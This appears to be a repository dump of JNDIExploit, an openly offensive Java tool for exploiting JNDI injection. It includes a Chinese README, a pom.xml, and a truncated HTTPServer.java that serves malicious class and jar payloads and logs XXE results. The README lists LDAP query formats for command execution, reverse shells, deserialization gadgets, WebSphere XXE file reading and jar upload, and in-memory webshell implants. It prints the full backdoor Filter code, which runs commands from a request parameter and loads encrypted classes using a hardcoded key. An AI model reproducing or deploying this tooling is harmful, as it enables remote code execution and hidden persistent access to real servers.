[
  {
    "path": ".gitignore",
    "content": "/target/\n"
  },
  {
    "path": ".idea/.gitignore",
    "content": "# Default ignored files\n/workspace.xml"
  },
  {
    "path": ".idea/compiler.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"CompilerConfiguration\">\n    <annotationProcessing>\n      <profile name=\"Maven default annotation processors profile\" enabled=\"true\">\n        <sourceOutputDir name=\"target/generated-sources/annotations\" />\n        <sourceTestOutputDir name=\"target/generated-test-sources/test-annotations\" />\n        <outputRelativeToContentRoot value=\"true\" />\n        <module name=\"JNDIExploit\" />\n      </profile>\n    </annotationProcessing>\n  </component>\n  <component name=\"JavacSettings\">\n    <option name=\"ADDITIONAL_OPTIONS_OVERRIDE\">\n      <module name=\"JNDIExploit\" options=\"-extdirs G:\\code\\java\\JNDIExploit/lib\" />\n    </option>\n  </component>\n</project>"
  },
  {
    "path": ".idea/encodings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"Encoding\">\n    <file url=\"file://$PROJECT_DIR$/src/main/java\" charset=\"UTF-8\" />\n    <file url=\"file://$PROJECT_DIR$/src/main/resources\" charset=\"UTF-8\" />\n  </component>\n</project>"
  },
  {
    "path": ".idea/libraries/weblogic.xml",
    "content": "<component name=\"libraryTable\">\n  <library name=\"weblogic\">\n    <CLASSES>\n      <root url=\"jar://$PROJECT_DIR$/lib/weblogic.jar!/\" />\n    </CLASSES>\n    <JAVADOC />\n    <SOURCES />\n  </library>\n</component>"
  },
  {
    "path": ".idea/libraries/webserviceclient.xml",
    "content": "<component name=\"libraryTable\">\n  <library name=\"webserviceclient\">\n    <CLASSES>\n      <root url=\"jar://$PROJECT_DIR$/lib/webserviceclient.jar!/\" />\n    </CLASSES>\n    <JAVADOC />\n    <SOURCES />\n  </library>\n</component>"
  },
  {
    "path": ".idea/misc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ASMPluginConfiguration\">\n    <asm skipDebug=\"false\" skipFrames=\"false\" skipCode=\"false\" expandFrames=\"false\" />\n    <groovy codeStyle=\"LEGACY\" />\n  </component>\n  <component name=\"ExternalStorageConfigurationManager\" enabled=\"true\" />\n  <component name=\"MavenProjectsManager\">\n    <option name=\"originalFiles\">\n      <list>\n        <option value=\"$PROJECT_DIR$/pom.xml\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"ProjectRootManager\" version=\"2\" languageLevel=\"JDK_1_6\" default=\"false\" project-jdk-name=\"1.8\" project-jdk-type=\"JavaSDK\">\n    <output url=\"file://$PROJECT_DIR$/out\" />\n  </component>\n</project>"
  },
  {
    "path": ".idea/uiDesigner.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"Palette2\">\n    <group name=\"Swing\">\n      <item class=\"com.intellij.uiDesigner.HSpacer\" tooltip-text=\"Horizontal Spacer\" icon=\"/com/intellij/uiDesigner/icons/hspacer.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"1\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" />\n      </item>\n      <item class=\"com.intellij.uiDesigner.VSpacer\" tooltip-text=\"Vertical Spacer\" icon=\"/com/intellij/uiDesigner/icons/vspacer.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"1\" anchor=\"0\" fill=\"2\" />\n      </item>\n      <item class=\"javax.swing.JPanel\" icon=\"/com/intellij/uiDesigner/icons/panel.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"0\" fill=\"3\" />\n      </item>\n      <item class=\"javax.swing.JScrollPane\" icon=\"/com/intellij/uiDesigner/icons/scrollPane.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"7\" hsize-policy=\"7\" anchor=\"0\" fill=\"3\" />\n      </item>\n      <item class=\"javax.swing.JButton\" icon=\"/com/intellij/uiDesigner/icons/button.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"0\" fill=\"1\" />\n        <initial-values>\n          <property name=\"text\" value=\"Button\" />\n        </initial-values>\n      </item>\n      <item class=\"javax.swing.JRadioButton\" icon=\"/com/intellij/uiDesigner/icons/radioButton.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" />\n        <initial-values>\n          <property name=\"text\" value=\"RadioButton\" />\n        </initial-values>\n      </item>\n      <item class=\"javax.swing.JCheckBox\" icon=\"/com/intellij/uiDesigner/icons/checkBox.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"3\" anchor=\"8\" fill=\"0\" />\n        <initial-values>\n          <property name=\"text\" value=\"CheckBox\" />\n        </initial-values>\n      </item>\n      <item class=\"javax.swing.JLabel\" icon=\"/com/intellij/uiDesigner/icons/label.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"8\" fill=\"0\" />\n        <initial-values>\n          <property name=\"text\" value=\"Label\" />\n        </initial-values>\n      </item>\n      <item class=\"javax.swing.JTextField\" icon=\"/com/intellij/uiDesigner/icons/textField.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\">\n          <preferred-size width=\"150\" height=\"-1\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JPasswordField\" icon=\"/com/intellij/uiDesigner/icons/passwordField.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\">\n          <preferred-size width=\"150\" height=\"-1\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JFormattedTextField\" icon=\"/com/intellij/uiDesigner/icons/formattedTextField.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\">\n          <preferred-size width=\"150\" height=\"-1\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JTextArea\" icon=\"/com/intellij/uiDesigner/icons/textArea.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JTextPane\" icon=\"/com/intellij/uiDesigner/icons/textPane.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JEditorPane\" icon=\"/com/intellij/uiDesigner/icons/editorPane.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JComboBox\" icon=\"/com/intellij/uiDesigner/icons/comboBox.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"2\" anchor=\"8\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JTable\" icon=\"/com/intellij/uiDesigner/icons/table.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JList\" icon=\"/com/intellij/uiDesigner/icons/list.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"2\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JTree\" icon=\"/com/intellij/uiDesigner/icons/tree.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"150\" height=\"50\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JTabbedPane\" icon=\"/com/intellij/uiDesigner/icons/tabbedPane.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"200\" height=\"200\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JSplitPane\" icon=\"/com/intellij/uiDesigner/icons/splitPane.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"3\" hsize-policy=\"3\" anchor=\"0\" fill=\"3\">\n          <preferred-size width=\"200\" height=\"200\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JSpinner\" icon=\"/com/intellij/uiDesigner/icons/spinner.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"true\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JSlider\" icon=\"/com/intellij/uiDesigner/icons/slider.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"8\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JSeparator\" icon=\"/com/intellij/uiDesigner/icons/separator.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"6\" anchor=\"0\" fill=\"3\" />\n      </item>\n      <item class=\"javax.swing.JProgressBar\" icon=\"/com/intellij/uiDesigner/icons/progressbar.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JToolBar\" icon=\"/com/intellij/uiDesigner/icons/toolbar.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"6\" anchor=\"0\" fill=\"1\">\n          <preferred-size width=\"-1\" height=\"20\" />\n        </default-constraints>\n      </item>\n      <item class=\"javax.swing.JToolBar$Separator\" icon=\"/com/intellij/uiDesigner/icons/toolbarSeparator.png\" removable=\"false\" auto-create-binding=\"false\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"0\" hsize-policy=\"0\" anchor=\"0\" fill=\"1\" />\n      </item>\n      <item class=\"javax.swing.JScrollBar\" icon=\"/com/intellij/uiDesigner/icons/scrollbar.png\" removable=\"false\" auto-create-binding=\"true\" can-attach-label=\"false\">\n        <default-constraints vsize-policy=\"6\" hsize-policy=\"0\" anchor=\"0\" fill=\"2\" />\n      </item>\n    </group>\n  </component>\n</project>"
  },
  {
    "path": ".idea/vcs.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"VcsDirectoryMappings\">\n    <mapping directory=\"$PROJECT_DIR$\" vcs=\"Git\" />\n  </component>\n</project>"
  },
  {
    "path": "JNDIExploit.iml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module type=\"JAVA_MODULE\" version=\"4\" />"
  },
  {
    "path": "README.md",
    "content": "# JNDIExploit\n一款用于 ```JNDI注入``` 利用的工具，大量参考/引用了 ```Rogue JNDI``` 项目的代码，支持直接```植入内存shell```，并集成了常见的```bypass 高版本JDK```的方式，适用于与自动化工具配合使用。\n\n## 使用说明\n\n使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明，其中 ```--ip``` 参数为必选参数\n\n```\nUsage: java -jar JNDIExploit.jar [options]\n  Options:\n  * -i, --ip       Local ip address\n    -l, --ldapPort Ldap bind port (default: 1389)\n    -p, --httpPort Http bind port (default: 8080)\n    -u, --usage    Show usage (default: false)\n    -h, --help     Show this help\n```\n\n使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式\n```\nSupported LADP Queries\n* all words are case INSENSITIVE when send to ldap server\n\n[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.\n    ldap://127.0.0.1:1389/Basic/Dnslog/[domain]\n    ldap://127.0.0.1:1389/Basic/Command/[cmd]\n    ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]\n    ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported\n    ldap://127.0.0.1:1389/Basic/TomcatMemshell\n    ldap://127.0.0.1:1389/Basic/JettyMemshell\n    ldap://127.0.0.1:1389/Basic/WeblogicMemshell\n    ldap://127.0.0.1:1389/Basic/JBossMemshell\n    ldap://127.0.0.1:1389/Basic/WebsphereMemshell\n    ldap://127.0.0.1:1389/Basic/SpringMemshell\n\n[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialize/[GadgetType]/[PayloadType]/[Params], e.g.\n    ldap://127.0.0.1:1389/Deserialize/URLDNS/[domain]\n    ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Dnslog/[domain]\n    ldap://127.0.0.1:1389/Deserialize/CommonsCollections2/Command/[cmd]\n    ldap://127.0.0.1:1389/Deserialize/CommonsBeanutils1/Command/Base64/[base64_encoded_cmd]\n    ldap://127.0.0.1:1389/Deserialize/C3P0/ReverseShell/[ip]/[port]  ---windows NOT supported\n    ldap://127.0.0.1:1389/Deserialize/Jre8u20/TomcatMemshell    ---ALSO support other memshells\n\n[+] TomcatBypass Queries\n    ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]\n    ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]\n    ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]\n    ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported\n    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell\n    ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell\n\n[+] GroovyBypass Queries\n    ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]\n    ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]\n\n[+] WebsphereBypass Queries\n    ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]\n    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]\n    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]\n    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]\n    ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported\n    ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell\n    ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp\n```\n* 目前支持的所有 ```PayloadType``` 为\n  * ```Dnslog```: 用于产生一个```DNS```请求，与 ```DNSLog```平台配合使用，对```Linux/Windows```进行了简单的适配\n  * ```Command```: 用于执行命令，如果命令有特殊字符，支持对命令进行 ```Base64编码```后传输\n  * ```ReverseShell```: 用于 ```Linux``` 系统的反弹shell，方便使用\n  * ```TomcatMemshell```: 用于植入```Tomcat内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```\n  * ```SpringMemshell```: 用于植入```Spring内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```\n  * ```WeblogicMemshell```: 用于植入```Weblogic内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```\n  * ```JettyMemshell```: 用于植入```Jetty内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```\n  * ```JBossMemshell```: 用于植入```JBoss内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```\n  * ```WebsphereMemshell```: 用于植入```Websphere内存shell```， 支持```Behinder shell``` 与 ```Basic cmd shell```\n* 目前支持的所有 ```GadgetType``` 为\n  * ```URLDNS```\n  * ```CommonsBeanutis1```\n  * ```CommonsCollections1```\n  * ```CommonsCollections2```\n  * ```C3P0```\n  * ```Jre8u20```\n* ```WebsphereBypass``` 中的 3 个动作：\n  * ```list```：基于```XXE```查看目标服务器上的目录或文件内容\n  * ```upload```：基于```XXE```的```jar协议```将恶意```jar包```上传至目标服务器的临时目录\n  * ```rce```：加载已上传至目标服务器临时目录的```jar包```，从而达到远程代码执行的效果（这一步本地未复现成功，抛```java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed.```异常，有复现成功的小伙伴麻烦指导下）\n\n## ```内存shell```说明\n* 采用动态添加 ```Filter/Controller```的方式，并将添加的```Filter```移动至```FilterChain```的第一位\n* ```内存shell``` 的兼容性测试结果请参考 [memshell](https://github.com/feihong-cs/memShell) 项目\n* ```Basic cmd shell``` 的访问方式为 ```/anything?type=basic&pass=[cmd]```\n* ```Behinder shell``` 的访问方式需要修改```冰蝎```客户端（请参考 [冰蝎改造之适配基于tomcat Filter的无文件webshell](https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ) 的方式二自行修改），并在访问时需要添加 ```X-Options-Ai``` 头部，密码为```rebeyond```\n\n植入的 Filter 代码如下：\n```\npublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {\n        System.out.println(\"[+] Dynamic Filter says hello\");\n        String k;\n        Cipher cipher;\n        if (servletRequest.getParameter(\"type\") != null && servletRequest.getParameter(\"type\").equals(\"basic\")) {\n            k = servletRequest.getParameter(\"pass\");\n            if (k != null && !k.isEmpty()) {\n                cipher = null;\n                String[] cmds;\n                if (File.separator.equals(\"/\")) {\n                    cmds = new String[]{\"/bin/sh\", \"-c\", k};\n                } else {\n                    cmds = new String[]{\"cmd\", \"/C\", k};\n                }\n\n                String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter(\"\\\\A\").next();\n                servletResponse.getWriter().println(result);\n            }\n        } else if (((HttpServletRequest)servletRequest).getHeader(\"X-Options-Ai\") != null) {\n            try {\n                if (((HttpServletRequest)servletRequest).getMethod().equals(\"POST\")) {\n                    k = \"e45e329feb5d925b\";\n                    ((HttpServletRequest)servletRequest).getSession().setAttribute(\"u\", k);\n                    cipher = Cipher.getInstance(\"AES\");\n                    cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute(\"u\") + \"\").getBytes(), \"AES\"));\n                    byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().readLine()));\n                    Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod(\"defineClass\", byte[].class, ClassLoader.class).invoke((Object)null, evilClassBytes, Thread.currentThread().getContextClassLoader());\n                    Object evilObject = evilClass.newInstance();\n                    Method targetMethod = evilClass.getDeclaredMethod(\"equals\", ServletRequest.class, ServletResponse.class);\n                    targetMethod.invoke(evilObject, servletRequest, servletResponse);\n                }\n            } catch (Exception var10) {\n                var10.printStackTrace();\n            }\n        } else {\n            filterChain.doFilter(servletRequest, servletResponse);\n        }\n\n    }\n ```\n \n ## 参考\n * https://github.com/veracode-research/rogue-jndi\n * https://github.com/welk1n/JNDI-Injection-Exploit\n * https://github.com/welk1n/JNDI-Injection-Bypass\n"
  },
  {
    "path": "pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>org.example</groupId>\n    <artifactId>JNDIExploit</artifactId>\n    <version>1.0-SNAPSHOT</version>\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.0</version>\n                <configuration>\n                    <source>6</source>\n                    <target>6</target>\n                    <compilerArguments>\n                        <extdirs>${project.basedir}/lib</extdirs>\n                    </compilerArguments>\n                </configuration>\n            </plugin>\n            <plugin>\n                <artifactId>maven-assembly-plugin</artifactId>\n                <configuration>\n                    <appendAssemblyId>false</appendAssemblyId>\n                    <descriptorRefs>\n                        <descriptorRef>jar-with-dependencies</descriptorRef>\n                    </descriptorRefs>\n                    <archive>\n                        <manifest>\n                            <mainClass>com.feihong.ldap.Starter</mainClass>\n                        </manifest>\n                    </archive>\n                </configuration>\n                <executions>\n                    <execution>\n                        <id>make-assembly</id>\n                        <phase>package</phase>\n                        <goals>\n                            <goal>assembly</goal>\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n    <properties>\n        <maven.test.skip>true</maven.test.skip>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.6</maven.compiler.source>\n        <maven.compiler.target>1.6</maven.compiler.target>\n        <!--    <spring.version>3.0.5.RELEASE</spring.version>-->\n        <spring.version>3.2.3.RELEASE</spring.version>\n        <!--    <spring.version>4.0.5.RELEASE</spring.version>-->\n        <!--    <spring.version>4.3.28.RELEASE</spring.version>-->\n        <!--    <spring.version>5.0.8.RELEASE</spring.version>-->\n        <!--    <spring.version>5.2.10.RELEASE</spring.version>-->\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-core</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-beans</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-web</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-oxm</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-tx</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-jdbc</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webmvc</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-aop</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context-support</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <version>${spring.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <version>4.11</version>\n            <scope>test</scope>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n            <version>4.0.1</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->\n        <dependency>\n            <groupId>com.mchange</groupId>\n            <artifactId>c3p0</artifactId>\n            <version>0.9.5.5</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/commons-beanutils/commons-beanutils -->\n        <dependency>\n            <groupId>commons-beanutils</groupId>\n            <artifactId>commons-beanutils</artifactId>\n            <version>1.9.2</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->\n        <dependency>\n            <groupId>commons-collections</groupId>\n            <artifactId>commons-collections</artifactId>\n            <version>3.1</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-collections4</artifactId>\n            <version>4.0</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->\n        <dependency>\n            <groupId>org.apache.tomcat.embed</groupId>\n            <artifactId>tomcat-embed-core</artifactId>\n            <version>8.5.58</version>\n        </dependency>\n        <dependency>\n            <groupId>org.ow2.asm</groupId>\n            <artifactId>asm</artifactId>\n            <version>8.0.1</version>\n        </dependency>\n        <dependency>\n            <groupId>com.unboundid</groupId>\n            <artifactId>unboundid-ldapsdk</artifactId>\n            <version>4.0.9</version>\n        </dependency>\n        <dependency>\n            <groupId>com.nqzero</groupId>\n            <artifactId>permit-reflect</artifactId>\n            <version>0.3</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/net.jodah/expiringmap -->\n        <dependency>\n            <groupId>net.jodah</groupId>\n            <artifactId>expiringmap</artifactId>\n            <version>0.5.9</version>\n        </dependency>\n        <dependency>\n            <groupId>org.reflections</groupId>\n            <artifactId>reflections</artifactId>\n            <version>0.9.10</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/io.undertow/undertow-core -->\n        <dependency>\n            <groupId>io.undertow</groupId>\n            <artifactId>undertow-core</artifactId>\n            <version>2.2.2.Final</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/io.undertow/undertow-servlet -->\n        <dependency>\n            <groupId>io.undertow</groupId>\n            <artifactId>undertow-servlet</artifactId>\n            <version>2.2.2.Final</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/org.jboss.spec.javax.security.jacc/jboss-jacc-api_1.4_spec -->\n        <dependency>\n            <groupId>org.jboss.spec.javax.security.jacc</groupId>\n            <artifactId>jboss-jacc-api_1.4_spec</artifactId>\n            <version>1.0.3.Final</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.beust/jcommander -->\n        <dependency>\n            <groupId>com.beust</groupId>\n            <artifactId>jcommander</artifactId>\n            <version>1.78</version>\n        </dependency>\n        <dependency>\n            <groupId>org.codehaus.groovy</groupId>\n            <artifactId>groovy</artifactId>\n            <version>2.4.5</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-text</artifactId>\n            <version>1.8</version>\n        </dependency>\n    </dependencies>\n</project>"
  },
  {
    "path": "src/main/java/com/feihong/ldap/HTTPServer.java",
    "content": "package com.feihong.ldap;\n\nimport com.feihong.ldap.template.CommandTemplate;\nimport com.feihong.ldap.template.DnslogTemplate;\nimport com.feihong.ldap.template.ReverseShellTemplate;\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.utils.Config;\nimport com.feihong.ldap.utils.Util;\nimport com.sun.net.httpserver.HttpExchange;\nimport com.sun.net.httpserver.HttpHandler;\nimport com.sun.net.httpserver.HttpServer;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport org.apache.commons.lang3.reflect.FieldUtils;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.util.*;\nimport java.util.jar.JarOutputStream;\nimport java.util.zip.ZipEntry;\n\npublic class HTTPServer {\n\n    public static void start() throws IOException {\n\n        HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0);\n        httpServer.createContext(\"/\", new HttpHandler() {\n            public void handle(HttpExchange httpExchange){\n                try {\n                    System.out.println(\"[+] New HTTP Request From \" + httpExchange.getRemoteAddress() + \"  \" + httpExchange.getRequestURI());\n\n                    String path = httpExchange.getRequestURI().getPath();\n                    if(path.endsWith(\".class\")){\n                        handleClassRequest(httpExchange);\n                    }else if(path.endsWith(\".wsdl\")){\n                        handleWSDLRequest(httpExchange);\n                    }else if(path.endsWith(\".jar\")){\n                        handleJarRequest(httpExchange);\n                    }else if(path.startsWith(\"/xxelog\")){\n                        handleXXELogRequest(httpExchange);\n                    }else{\n                        httpExchange.sendResponseHeaders(404, 0);\n                        httpExchange.close();\n                        System.out.println(\"[!] Response Code: \" + 404);\n                    }\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        });\n\n        httpServer.setExecutor(null);\n        httpServer.start();\n        System.out.println(\"[+] HTTP Server Start Listening on \" + Config.httpPort + \"...\");\n    }\n\n    public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException {\n        Object exchangeImpl = FieldUtils.readField(exchange, \"impl\", true);\n        Object request = FieldUtils.readField(exchangeImpl, \"req\", true);\n        String startLine = (String) FieldUtils.readField(request, \"startLine\", true);\n\n//        System.out.println(\"[\\u001B[31]mxxe attack result: \" + startLine + \"\\u001B[0m\");\n        System.out.println(\"[+] XXE Attack Result: \" + startLine);\n        exchange.sendResponseHeaders(200, 0);\n        exchange.close();\n    }\n\n    private static void handleJarRequest(HttpExchange exchange) throws IOException{\n        String path = exchange.getRequestURI().getPath();\n        String jarName = 